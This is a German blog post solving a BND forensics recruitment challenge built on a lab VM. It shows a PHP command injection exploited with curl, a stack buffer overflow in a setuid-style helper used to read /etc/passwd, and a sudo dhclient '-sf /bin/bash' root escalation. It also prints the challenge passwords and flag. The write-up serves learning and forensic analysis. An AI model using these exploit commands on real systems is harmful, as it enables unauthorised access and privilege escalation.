Forensik-Challenge des Bundesnachrichtendienstes

March 02, 2017 at 02:15 AM | categories: bnd, forensik

Der Bundesnachrichtendienst veröffenlicht gelegentlich Stellengesuche, deren Bestandteil das Lösen mehr oder weniger kniffliger Aufgaben ist. Dies war zuletzt bei der Suche nach Leuten für Cyber-Quatsch der Fall, wo Applikanten Post-Incident-Informationen ermitteln sollten. Ausgangspunkt der "Challenge" ist eine OVA-Datei, die untersucht werden soll.

So richtig schwer ist die Untersuchung nicht, damit aber auch wenig qualifiziertes zukünftiges Personal eine Chance hat, bietet es sich geradezu an, ein paar Hilfestellungen zu teilen.

Die Schwachstelle

Frage: Beschreiben Sie die Schwachstelle, die die Hacker ausnutzen konnten, um das System zu infiltrieren. Welche Art von Schwachstelle wurde genutzt? Geben Sie einen konkreten Proof-of-Concept (PoC) dafür an.

Als Hinweis wird angegeben, dass es sich um einen Netzwerkdienst handelt. Ausweislich "netstat" gibt es die folgenden Dienste auf dem System:

root@debian:/home/hacker# netstat -latunp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 401/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 687/exim4
tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 4681/0
tcp 0 0 0.0.0.0:59677 0.0.0.0:* LISTEN 386/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 373/rpcbind
tcp 0 0 192.168.2.112:22 192.168.2.100:42672 ESTABLISHED 4679/sshd: hacker [
tcp6 0 0 :::22 :::* LISTEN 401/sshd
tcp6 0 0 ::1:25 :::* LISTEN 687/exim4
tcp6 0 0 ::1:6010 :::* LISTEN 4681/0
tcp6 0 0 :::38304 :::* LISTEN 386/rpc.statd
tcp6 0 0 :::111 :::* LISTEN 373/rpcbind
tcp6 0 0 :::80 :::* LISTEN 691/apache2
udp 0 0 0.0.0.0:40837 0.0.0.0:* 3690/dhclient
udp 0 0 0.0.0.0:972 0.0.0.0:* 373/rpcbind
udp 0 0 127.0.0.1:986 0.0.0.0:* 386/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:* 3690/dhclient
udp 0 0 0.0.0.0:68 0.0.0.0:* 3434/dhclient
udp 0 0 0.0.0.0:42587 0.0.0.0:* 6929/dhclient
udp 0 0 0.0.0.0:111 0.0.0.0:* 373/rpcbind
udp 0 0 0.0.0.0:34996 0.0.0.0:* 386/rpc.statd
udp 0 0 0.0.0.0:3321 0.0.0.0:* 3434/dhclient
udp6 0 0 :::36239 :::* 3434/dhclient
udp6 0 0 :::972 :::* 373/rpcbind
udp6 0 0 :::111 :::* 373/rpcbind
udp6 0 0 :::60025 :::* 386/rpc.statd
udp6 0 0 :::7428 :::* 3690/dhclient
udp6 0 0 :::59690 :::* 6929/dhclient

Hinweis: Die Information wurde zunächst ohne die Option "-p" aufgrufen und nach dem Erlangen von Root-Rechten mit der Option "-p", damit der Programmname angezeigt wird.

Die Hinweise legen nahe, dass das Angriffstor im Bereich Web liegt. Auf dem Host ist ein Apache installiert und dessen DocumentRoot ist im Verzeichnis /var/www/html:

hacker@debian:/var/www/html$ ls -lR
.:
total 16
-rw-r--r-- 1 root root 499 Nov 23 13:14 index.html
drwxr-xr-x 2 root root 4096 Nov 21 15:20 insurances
-rw-r--r-- 1 root root 5243 Nov 23 10:01 originalIndex.php

./insurances:
total 8
-rw-r--r-- 1 root root 61 Nov 21 15:18 0815
-rw-r--r-- 1 root root 59 Nov 21 15:18 0816
-rw-r--r-- 1 root root 0 Nov 21 15:20 index.html

Die Datei "index.html" hat der Angreifer hinterlassen. Das PHP-Skript "originalIndex.php" enthält mutmaßlich die Sicherheitslücke -- PHP, Sicherheitslücke, das soll immerhin noch lösbar sein.

Datei: /var/www/html/originalIndex.php

<?php
if($_GET['password'] != "" && $_GET['file'] != "") {
$command = "/home/readFile ".$_GET['password']." insurances/".$_GET['file'];
}
?>
[...]
newContent = "<div class=\"customerAccess\"><table align=center border=1 cellpadding=10px><tr>
<td>Please provide your cutsomer ID and password to access your insurance policy.</td></tr><tr>
<td><form action=\"originalIndex.php\" method=\"get\"><table width=100%><tr><td width=20%>Password</td>
<td><input type=\"password\" name=\"password\" maxlength=20></td></tr><tr><td>Customer ID</td>
<td><input type=\"text\" name=\"file\" maxlength=5></td></tr></table><p><input class=\"button\"
type=\"button\" value=\"submit\" onclick=\"document.forms[0].submit();\"></form></td></tr></table></div>";
[...]
<?php system($command); ?>
[...]

Die Command-Injection ist offensichtlich. Es gibt jedoch auch weitere Sicherheitsprobleme:

  • Der Webserver ist nur über HTTP erreichbar und nicht über vertraulichkeits- und integritätssicherndes HTTPS. Grundsätzlich können übertragene sensitive Informationen auch mittels Angriffen auf das Netzwerk erlangt und missbraucht werden.
  • Sensitive Informationen werden als HTTP-GET-Parameter übertragen. Somit können sensitive Informationen vielfältig abhanden kommen (Browser-History, Proxy-Logs, URL-Shortener, verschickte Links, ...).
  • In sehr alten PHP-Versionen wurde das Feature unterstützt, dass man Variablen über GET-Parameter induzieren konnte. Das wurde hier nicht weiter untersucht.

Offensichtlich soll man hier die Command-Injection finden. Im Life-System kann man die Nutzbarkeit des Sicherheitsproblems prüfen:

$ curl "http://192.168.2.112/originalIndex.php?password=%3bcat%20/home/readFile.c%3b&file=x" 
<html>
[...]
<div class="overlay-content" style="color: white;">Usage: /home/readFile &lt;password&gt; &lt;file&gt;#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int auth(char *password) {
int authenticated = 0;
char passwordBuffer[16];

strcpy(passwordBuffer, password);

if(strcmp(passwordBuffer, "hIWndje726/=dn23nGd") == 0)
authenticated = 1;

return authenticated;
}

int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s &lt;password&gt; &lt;file&gt;", argv[0]);
exit(0);
}

if(auth(argv[1]) != 0) {
char cmd[80] = "cat ";
strcat(cmd, argv[2]);
system(cmd);
} else {
printf("Access denied!");
}
}
</div>
[...]

Das PHP-Skript ruft das Programm "readFile" auf. Praktischerweise liegt der Quellcode des Programms daneben. Streng genommen weiß man nicht, ob Programmcode und Binary zusammenpassen. Kompiliert man den Quellcode auf dem gleichen System, entsteht zumindest ein Binary, dass gleich groß zu "readFile" ist. Das ist natürlich noch immer keine valide Gleichheitsaussage. Und natürlich ist es im allgemeinen auch keine gute Idee, die Tools aus der Umgebung zu nutzen, die potentiell kompromittiert ist, aber als kurzer Check, ob man hier einem roten Hering aufgesessen ist, kann man das mal machen -- nach den bisherigen Befunden ist fortgeschrittener Cyber nicht zu erwarten.

Der C-Quellcode weist einen stackbasierten Buffer-Overflow nach Lehrbuch auf. Da das Betriebssystem ein Debian 8.6 ist, also ein halbwegs frisches OS, kann man annehmen, dass Stack-Canaries generell und in Bibliothekn unterstützt werden und eine Manipulation der Rücksprungadresse nicht so einfach wird. (Update: Das Program readFile ist tatsächlich ohne Stack-Canary gebaut.) Alternativ kann man die stack-lokale Variable "authenticated" überschreiben, ohne Kanarienvögel zu opfern:

hacker@debian:/home$ ./readFile AAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
Access denied!hacker@debian:/home$ ./readFile AAAAAAAAAAAAAAAAAAAAAAAAAAAAA /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

Bzw:

http://192.168.2.112/originalIndex.php?password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA%20/etc/passwd&file=x

Notiz: Ein weiteres Problem ist das hartkodierte Passwort. Im realen Leben findet man häufiger hartkodiertes Schlüsselmaterial. Das wird praktisch nie geändert. Außerdem ist dar Puffer bereits kleiner als das hartkodierte Passwort.

Gibt man das Passwort als Parameter an kann man leerzeichengetrennt eine Datei zur Ausgabe spezifizieren, beispielsweise so:

http://192.168.2.112/originalIndex.php?password=hIWndje726/=dn23nGd%20/etc/passwd&file=x

Privilege-Escalation

Frage: Wie waren die Angreifer nach erfolgter Infiltration in der Lage, root-Rechte zu bekommen? Beschreiben Sie die Sicherheitslücke und ermitteln Sie das von den Hackern neu gesetzte root-Passwort.

PHP bzw. das Program "readFile" wird mit Rechten von "www-data" ausgeführt. D. h. ein Angreifer erlangt über die Command-Injection die Rechte von "www-data". Man kann annehmen, dass ein Angreifer einen einfachen Weg gefunden hat, seine Rechte zu erweitern. Ein Beweis ist das nicht.

Klassiker für Privilege-Escalations sind Set-UID-Programme (nichts unmittelbar Auffälliges), Crontabs (keine für User "hacker"), ungünstige Sudoer-Konfigurationen. Einen entsprechenden Hinweis findet man in der folgenden Datei:

Datei: /home/hacker/info

my SSH credentials:
hacker:abcd1234

Info: User hacker is allowed to use sudo for
/sbin/ifconfig and /sbin/dhclient for network configuration.

Dass "dhclient" auch Shell-Skripte im Rahmen der Netzwerkkonfiguration aufrufen kann, liegt nahe. So ist ein PoC einfach umsetzbar, den man auch über die Web-Schnittstelle triggern könnte:

hacker@debian:~$ sudo dhclient -sf /bin/bash lo0
root@debian:/home/hacker# id
uid=0(root) gid=0(root) groups=0(root)

Die Datei "/home/root/Rul0rzZrootPw" lässt sich mit Root-Rechten lesen. Darin steht das Passwort "JDWbwz334aawefHHwf/)2". Ein Test ergibt, dass man damit Root-Rechte erlangen kann:

hacker@debian:~$ su -
Password:
root@debian:~#

Verstecken von Daten

Frage: Welche Daten wurden auf dem System abgelegt? Wie wurden die Daten versteckt? Benennen Sie die Flag.

Mutmaßlich dem Angreifer zuzuordnen sind diese Daten:

  • /var/www/html/index.html
  • /etc/motd
  • /var/spool/cron/doAlwaysCron.sh
  • ...
root@debian:/home/hackedData# ls -l
total 120
-rwx------ 1 root root 110758 Nov 18 14:10 flagImage.jpg
-rwx------ 1 root root 7440 Nov 18 13:41 hackedPasswords.txt

Die Datei "flagImage.jpg" enthält den Hinweis, dass man von einer Lösung nicht mehr weit entfernt ist. Ein Blick in die History-Dateien des Nutzers "root" gibt den Hinweis auf ein Tool namens "steghide". Schaut man mit "strings" in "Debian-disk1.vmdk", sieht man Artefakte eines Python-Helperskriptes:

#!/usr/bin/python
import os
import sys
pic = sys.argv[1]
pws = sys.argv[2]
with open(pws) as f:
content = f.readlines()
for line in content:
curLine = line.strip()
os.system("steghide extract -sf " + pic + " -p " + curLine)

Man kann dann auf die Idee kommen, dass man ein Passwort in "/home/hackedData/hackedPasswords.txt" finden könnte:

$ for i in `cat hackedPasswords.txt`; do steghide extract -sf flagImage.jpg -p $i; done
[...]
steghide: could not extract any data with that passphrase!
wrote extracted data to "flag.txt".
steghide: could not extract any data with that passphrase!
[...]

$ cat flag.txt
You solved the challenge!
Here is your nugget <@:-)

H4CK1NG_1S_RE4LY_4WESOM3!

So ist es dann auch.

Nun ist die Frage nach hinterlegten Daten eine offene Frage, weil natürlich diverse Artefakte im Dateisystem verbleiben. Vielleicht gibt es auch eine weitere versteckte Challenge hinter der Challenge? Kernelmodule, Timestamps im Dateisystem und Prozesse liefern jedoch keine Auffälligkeiten.

SHA-256(ZIP_Challenge.zip) = e13cefde0ee45f05dffa31644a18a10817b9b9801bbb9376ed841858a43c2573

Update vom 16. März 2017: Hanno Böck hat sich durch die Cyber-Challenge durchgecybert und cybernswertes in einem Golem-Artikel dokumentiert.